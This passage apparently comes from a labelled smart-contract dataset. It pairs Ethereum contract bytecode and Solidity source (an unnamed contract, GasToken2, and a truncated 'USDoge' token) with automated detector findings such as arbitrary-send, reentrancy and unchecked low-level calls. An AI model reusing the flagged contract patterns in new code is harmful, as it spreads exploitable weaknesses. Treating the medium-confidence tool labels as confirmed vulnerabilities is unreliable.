0x60806040526004361061007f5760003560e01c8063b8d1a3b51161004e578063b8d1a3b514610102578063c20524031461012f578063d784d42614610144578063f851a4401461016457600080fd5b80634e335eed1461008b5780636aa229da146100ad578063704b6c02146100cd57806389f1258c146100ed57600080fd5b3661008657005b600080fd5b34801561009757600080fd5b506100ab6100a6366004610933565b610191565b005b3480156100b957600080fd5b506100ab6100c8366004610933565b610350565b3480156100d957600080fd5b506100ab6100e836600461090f565b6103ab565b3480156100f957600080fd5b506100ab61043c565b34801561010e57600080fd5b50610117610477565b60405161012693929190610a41565b60405180910390f35b34801561013b57600080fd5b506100ab61053c565b34801561015057600080fd5b506100ab61015f36600461090f565b610545565b34801561017057600080fd5b5061017961061c565b6040516001600160a01b039091168152602001610126565b3361019a61061c565b6001600160a01b0316146101c95760405162461bcd60e51b81526004016101c0906109fe565b60405180910390fd5b600054610100900460ff16806101e2575060005460ff16155b6102455760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016101c0565b600054610100900460ff16158015610267576000805461ffff19166101011790555b6001849055825161027f9060029060208601906107df565b50815161029390600390602085019061082a565b506000805b84518110156102d8578481815181106102b3576102b3610bc6565b6020026020010151826102c69190610b25565b91506102d181610b95565b9050610298565b508481146103375760405162461bcd60e51b815260206004820152602660248201527f6e756d657261746f727320646f6e27742061646420757020746f2064656e6f6d60448201526534b730ba37b960d11b60648201526084016101c0565b50801561034a576000805461ff00191690555b50505050565b3361035961061c565b6001600160a01b03161461037f5760405162461bcd60e51b81526004016101c0906109fe565b600183905581516103979060029060208501906107df565b50805161034a90600390602084019061082a565b336103b461061c565b6001600160a01b0316146103da5760405162461bcd60e51b81526004016101c0906109fe565b6001600160a01b0381166104305760405162461bcd60e51b815260206004820152601860248201527f696e76616c6964206e657741646d696e2061646472657373000000000000000060448201526064016101c0565b6104398161064a565b50565b3361044561061c565b6001600160a01b03161461046b5760405162461bcd60e51b81526004016101c0906109fe565b610475600061064a565b565b600060608060015460026003818054806020026020016040519081016040528092919081815260200182805480156104ce57602002820191906000526020600020905b8154815260200190600101908083116104ba575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561052a57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161050c575b50505050509050925092509250909192565b61047547610671565b3361054e61061c565b6001600160a01b0316146105745760405162461bcd60e51b81526004016101c0906109fe565b803b6105d85760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101c0565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103546001600160a01b031690565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105fb565b8060005b6003548110156107da5760006001546002838154811061069757610697610bc6565b9060005260206000200154856106ad9190610b5f565b6106b79190610b3d565b9050828111156107095760405162461bcd60e51b815260206004820152601e60248201527f6e6f7420656e6f7567682072656d61696e696e6720746f20646564756374000060448201526064016101c0565b6107138184610b7e565b925060006003838154811061072a5761072a610bc6565b60009182526020822001546040516001600160a01b039091169184919081818185875af1925050503d806000811461077e576040519150601f19603f3d011682016040523d82523d6000602084013e610783565b606091505b50509050806107c75760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b60448201526064016101c0565b5050806107d390610b95565b9050610675565b505050565b82805482825590600052602060002090810192821561081a579160200282015b8281111561081a5782518255916020019190600101906107ff565b5061082692915061087f565b5090565b82805482825590600052602060002090810192821561081a579160200282015b8281111561081a57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019061084a565b5b808211156108265760008155600101610880565b600082601f8301126108a557600080fd5b813560206108ba6108b583610b01565b610ad0565b80838252828201915082860187848660051b89010111156108da57600080fd5b60005b858110156109025781356108f081610bf2565b845292840192908401906001016108dd565b5090979650505050505050565b60006020828403121561092157600080fd5b813561092c81610bf2565b9392505050565b60008060006060848603121561094857600080fd5b8335925060208085013567ffffffffffffffff8082111561096857600080fd5b818701915087601f83011261097c57600080fd5b813561098a6108b582610b01565b8082825285820191508585018b878560051b88010111156109aa57600080fd5b600095505b838610156109cd5780358352600195909501949186019186016109af565b509650505060408701359250808311156109e657600080fd5b50506109f486828701610894565b9150509250925092565b60208082526023908201527f496d706c656d656e746174696f6e3a2063616c6c6572206973206e6f7420616460408201526236b4b760e91b606082015260800190565b6000606082018583526020606081850152818651808452608086019150828801935060005b81811015610a8257845183529383019391830191600101610a66565b50508481036040860152855180825290820192508186019060005b81811015610ac25782516001600160a01b031685529383019391830191600101610a9d565b509298975050505050505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610af957610af9610bdc565b604052919050565b600067ffffffffffffffff821115610b1b57610b1b610bdc565b5060051b60200190565b60008219821115610b3857610b38610bb0565b500190565b600082610b5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610b7957610b79610bb0565b500290565b600082821015610b9057610b90610bb0565b500390565b6000600019821415610ba957610ba9610bb0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461043957600080fdfea264697066735822122015984dd69d7eed3e4a4efea16dffa887c2d90ef5647bf5e599b54e4a83967e2f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,702
0x0000000000b3F879cb30FE243b4Dfee438691c04
pragma solidity ^0.4.10; contract GasToken2 { ////////////////////////////////////////////////////////////////////////// // RLP.sol // Due to some unexplained bug, we get a slightly different bytecode if // we use an import, and are then unable to verify the code in Etherscan ////////////////////////////////////////////////////////////////////////// uint256 constant ADDRESS_BYTES = 20; uint256 constant MAX_SINGLE_BYTE = 128; uint256 constant MAX_NONCE = 256**9 - 1; // count number of bytes required to represent an unsigned integer function count_bytes(uint256 n) constant internal returns (uint256 c) { uint i = 0; uint mask = 1; while (n >= mask) { i += 1; mask *= 256; } return i; } function mk_contract_address(address a, uint256 n) constant internal returns (address rlp) { /* * make sure the RLP encoding fits in one word: * total_length 1 byte * address_length 1 byte * address 20 bytes * nonce_length 1 byte (or 0) * nonce 1-9 bytes * ========== * 24-32 bytes */ require(n <= MAX_NONCE); // number of bytes required to write down the nonce uint256 nonce_bytes; // length in bytes of the RLP encoding of the nonce uint256 nonce_rlp_len; if (0 < n && n < MAX_SINGLE_BYTE) { // nonce fits in a single byte // RLP(nonce) = nonce nonce_bytes = 1; nonce_rlp_len = 1; } else { // RLP(nonce) = [num_bytes_in_nonce nonce] nonce_bytes = count_bytes(n); nonce_rlp_len = nonce_bytes + 1; } // [address_length(1) address(20) nonce_length(0 or 1) nonce(1-9)] uint256 tot_bytes = 1 + ADDRESS_BYTES + nonce_rlp_len; // concatenate all parts of the RLP encoding in the leading bytes of // one 32-byte word uint256 word = ((192 + tot_bytes) * 256**31) + ((128 + ADDRESS_BYTES) * 256**30) + (uint256(a) * 256**10); if (0 < n && n < MAX_SINGLE_BYTE) { word += n * 256**9; } else { word += (128 + nonce_bytes) * 256**9; word += n * 256**(9 - nonce_bytes); } uint256 hash; assembly { let mem_start := mload(0x40) // get a pointer to free memory mstore(0x40, add(mem_start, 0x20)) // update the pointer mstore(mem_start, word) // store the rlp encoding hash := sha3(mem_start, add(tot_bytes, 1)) // hash the rlp encoding } // interpret hash as address (20 least significant bytes) return address(hash); } ////////////////////////////////////////////////////////////////////////// // Generic ERC20 ////////////////////////////////////////////////////////////////////////// // owner -> amount mapping(address => uint256) s_balances; // owner -> spender -> max amount mapping(address => mapping(address => uint256)) s_allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // Spec: Get the account balance of another account with address `owner` function balanceOf(address owner) public constant returns (uint256 balance) { return s_balances[owner]; } function internalTransfer(address from, address to, uint256 value) internal returns (bool success) { if (value <= s_balances[from]) { s_balances[from] -= value; s_balances[to] += value; Transfer(from, to, value); return true; } else { return false; } } // Spec: Send `value` amount of tokens to address `to` function transfer(address to, uint256 value) public returns (bool success) { address from = msg.sender; return internalTransfer(from, to, value); } // Spec: Send `value` amount of tokens from address `from` to address `to` function transferFrom(address from, address to, uint256 value) public returns (bool success) { address spender = msg.sender; if(value <= s_allowances[from][spender] && internalTransfer(from, to, value)) { s_allowances[from][spender] -= value; return true; } else { return false; } } // Spec: Allow `spender` to withdraw from your account, multiple times, up // to the `value` amount. If this function is called again it overwrites the // current allowance with `value`. function approve(address spender, uint256 value) public returns (bool success) { address owner = msg.sender; if (value != 0 && s_allowances[owner][spender] != 0) { return false; } s_allowances[owner][spender] = value; Approval(owner, spender, value); return true; } // Spec: Returns the `amount` which `spender` is still allowed to withdraw // from `owner`. // What if the allowance is higher than the balance of the `owner`? // Callers should be careful to use min(allowance, balanceOf) to make sure // that the allowance is actually present in the account! function allowance(address owner, address spender) public constant returns (uint256 remaining) { return s_allowances[owner][spender]; } ////////////////////////////////////////////////////////////////////////// // GasToken specifics ////////////////////////////////////////////////////////////////////////// uint8 constant public decimals = 2; string constant public name = "Gastoken.io"; string constant public symbol = "GST2"; // We build a queue of nonces at which child contracts are stored. s_head is // the nonce at the head of the queue, s_tail is the nonce behind the tail // of the queue. The queue grows at the head and shrinks from the tail. // Note that when and only when a contract CREATEs another contract, the // creating contract&#39;s nonce is incremented. // The first child contract is created with nonce == 1, the second child // contract is created with nonce == 2, and so on... // For example, if there are child contracts at nonces [2,3,4], // then s_head == 4 and s_tail == 1. If there are no child contracts, // s_head == s_tail. uint256 s_head; uint256 s_tail; // totalSupply gives the number of tokens currently in existence // Each token corresponds to one child contract that can be SELFDESTRUCTed // for a gas refund. function totalSupply() public constant returns (uint256 supply) { return s_head - s_tail; } // Creates a child contract that can only be destroyed by this contract. function makeChild() internal returns (address addr) { assembly { // EVM assembler of runtime portion of child contract: // ;; Pseudocode: if (msg.sender != 0x0000000000b3f879cb30fe243b4dfee438691c04) { throw; } // ;; suicide(msg.sender) // PUSH15 0xb3f879cb30fe243b4dfee438691c04 ;; hardcoded address of this contract // CALLER // XOR // PC // JUMPI // CALLER // SELFDESTRUCT // Or in binary: 6eb3f879cb30fe243b4dfee438691c043318585733ff // Since the binary is so short (22 bytes), we can get away // with a very simple initcode: // PUSH22 0x6eb3f879cb30fe243b4dfee438691c043318585733ff // PUSH1 0 // MSTORE ;; at this point, memory locations mem[10] through // ;; mem[31] contain the runtime portion of the child // ;; contract. all that&#39;s left to do is to RETURN this // ;; chunk of memory. // PUSH1 22 ;; length // PUSH1 10 ;; offset // RETURN // Or in binary: 756eb3f879cb30fe243b4dfee438691c043318585733ff6000526016600af3 // Almost done! All we have to do is put this short (31 bytes) blob into // memory and call CREATE with the appropriate offsets. let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, 0x00756eb3f879cb30fe243b4dfee438691c043318585733ff6000526016600af3) addr := create(0, add(solidity_free_mem_ptr, 1), 31) } } // Mints `value` new sub-tokens (e.g. cents, pennies, ...) by creating `value` // new child contracts. The minted tokens are owned by the caller of this // function. function mint(uint256 value) public { for (uint256 i = 0; i < value; i++) { makeChild(); } s_head += value; s_balances[msg.sender] += value; } // Destroys `value` child contracts and updates s_tail. // // This function is affected by an issue in solc: https://github.com/ethereum/solidity/issues/2999 // The `mk_contract_address(this, i).call();` doesn&#39;t forward all available gas, but only GAS - 25710. // As a result, when this line is executed with e.g. 30000 gas, the callee will have less than 5000 gas // available and its SELFDESTRUCT operation will fail leading to no gas refund occurring. // The remaining ~29000 gas left after the call is enough to update s_tail and the caller&#39;s balance. // Hence tokens will have been destroyed without a commensurate gas refund. // Fortunately, there is a simple workaround: // Whenever you call free, freeUpTo, freeFrom, or freeUpToFrom, ensure that you pass at least // 25710 + `value` * (1148 + 5722 + 150) gas. (It won&#39;t all be used) function destroyChildren(uint256 value) internal { uint256 tail = s_tail; // tail points to slot behind the last contract in the queue for (uint256 i = tail + 1; i <= tail + value; i++) { mk_contract_address(this, i).call(); } s_tail = tail + value; } // Frees `value` sub-tokens (e.g. cents, pennies, ...) belonging to the // caller of this function by destroying `value` child contracts, which // will trigger a partial gas refund. // You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas // when calling this function. For details, see the comment above `destroyChilden`. function free(uint256 value) public returns (bool success) { uint256 from_balance = s_balances[msg.sender]; if (value > from_balance) { return false; } destroyChildren(value); s_balances[msg.sender] = from_balance - value; return true; } // Frees up to `value` sub-tokens. Returns how many tokens were freed. // Otherwise, identical to free. // You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas // when calling this function. For details, see the comment above `destroyChilden`. function freeUpTo(uint256 value) public returns (uint256 freed) { uint256 from_balance = s_balances[msg.sender]; if (value > from_balance) { value = from_balance; } destroyChildren(value); s_balances[msg.sender] = from_balance - value; return value; } // Frees `value` sub-tokens owned by address `from`. Requires that `msg.sender` // has been approved by `from`. // You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas // when calling this function. For details, see the comment above `destroyChilden`. function freeFrom(address from, uint256 value) public returns (bool success) { address spender = msg.sender; uint256 from_balance = s_balances[from]; if (value > from_balance) { return false; } mapping(address => uint256) from_allowances = s_allowances[from]; uint256 spender_allowance = from_allowances[spender]; if (value > spender_allowance) { return false; } destroyChildren(value); s_balances[from] = from_balance - value; from_allowances[spender] = spender_allowance - value; return true; } // Frees up to `value` sub-tokens owned by address `from`. Returns how many tokens were freed. // Otherwise, identical to `freeFrom`. // You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas // when calling this function. For details, see the comment above `destroyChilden`. function freeFromUpTo(address from, uint256 value) public returns (uint256 freed) { address spender = msg.sender; uint256 from_balance = s_balances[from]; if (value > from_balance) { value = from_balance; } mapping(address => uint256) from_allowances = s_allowances[from]; uint256 spender_allowance = from_allowances[spender]; if (value > spender_allowance) { value = spender_allowance; } destroyChildren(value); s_balances[from] = from_balance - value; from_allowances[spender] = spender_allowance - value; return value; } }
0x606060405236156100ce576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d3578063079d229f14610162578063095ea7b3146101b857806318160ddd1461021257806323b872dd1461023b578063313ce567146102b45780635f2e2b45146102e35780636366b9361461033d57806370a082311461037457806395d89b41146103c1578063a0712d6814610450578063a9059cbb14610473578063d8ccd0f3146104cd578063dd62ed3e14610508575b600080fd5b34156100de57600080fd5b6100e6610574565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101275780820151818401525b60208101905061010b565b50505050905090810190601f1680156101545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016d57600080fd5b6101a2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ad565b6040518082815260200191505060405180910390f35b34156101c357600080fd5b6101f8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610734565b604051808215151515815260200191505060405180910390f35b341561021d57600080fd5b6102256108c8565b6040518082815260200191505060405180910390f35b341561024657600080fd5b61029a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108d7565b604051808215151515815260200191505060405180910390f35b34156102bf57600080fd5b6102c7610a1a565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ee57600080fd5b610323600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a1f565b604051808215151515815260200191505060405180910390f35b341561034857600080fd5b61035e6004808035906020019091905050610bb1565b6040518082815260200191505060405180910390f35b341561037f57600080fd5b6103ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c59565b6040518082815260200191505060405180910390f35b34156103cc57600080fd5b6103d4610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104155780820151818401525b6020810190506103f9565b50505050905090810190601f1680156104425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045b57600080fd5b6104716004808035906020019091905050610cdb565b005b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d61565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b6104ee6004808035906020019091905050610d7c565b604051808215151515815260200191505060405180910390f35b341561051357600080fd5b61055e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e2a565b6040518082815260200191505060405180910390f35b6040805190810160405280600b81526020017f476173746f6b656e2e696f00000000000000000000000000000000000000000081525081565b60008060008060003393506000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925082861115610605578295505b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091508160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080861115610693578095505b61069c86610eb2565b8583036000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581038260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508594505b5050505092915050565b600080339050600083141580156107c857506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156107d657600091506108c1565b82600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505b5092915050565b60006003546002540390505b90565b600080339050600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311158015610970575061096f858585610f22565b5b15610a085782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060019150610a12565b60009150610a12565b5b509392505050565b600281565b60008060008060003393506000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925082861115610a7c5760009450610ba7565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091508160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080861115610b0f5760009450610ba7565b610b1886610eb2565b8583036000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581038260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600194505b5050505092915050565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c01578092505b610c0a83610eb2565b8281036000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508291505b50919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6040805190810160405280600481526020017f475354320000000000000000000000000000000000000000000000000000000081525081565b60008090505b81811015610d0057610cf1611082565b505b8080600101915050610ce1565b81600260008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5050565b600080339050610d72818585610f22565b91505b5092915050565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dd15760009150610e24565b610dda83610eb2565b8281036000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505b50919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b60008060035491506001820190505b82820181111515610f1357610ed630826110b9565b73ffffffffffffffffffffffffffffffffffffffff1660405160006040518083038160008661646e5a03f1915050505b8080600101915050610ec1565b8282016003819055505b505050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151561107157816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061107b565b6000905061107b565b5b9392505050565b60006040517e756eb3f879cb30fe243b4dfee438691c043318585733ff6000526016600af38152601f600182016000f09150505b90565b60008060008060008068ffffffffffffffffff87111515156110da57600080fd5b8660001080156110ea5750608087105b156110fc57600194506001935061110e565b611105876111fe565b94506001850193505b8360146001010192506a01000000000000000000008873ffffffffffffffffffffffffffffffffffffffff16027e010000000000000000000000000000000000000000000000000000000000006014608001027f01000000000000000000000000000000000000000000000000000000000000008560c001020101915086600010801561119b5750608087105b156111b65769010000000000000000008702820191506111d9565b6901000000000000000000856080010282019150846009036101000a8702820191505b604051602081016040528281526001840181209150508095505b505050505092915050565b6000806000809150600190505b8084101515611226576001820191506101008102905061120b565b8192505b50509190505600a165627a7a72305820b86bb85a6e7dcfc4473f394716365fd772c0511b80fdd7833b2966335f3a07b20029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
10,703
0x129201f3746e519c74ae97d0792fced9cc32f8eb
/** *Submitted for verification at Etherscan.io on 2021-07-04 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract USDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "United States Doge"; string public constant _symbol = "USDOGE 💵 🇺🇸"; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), 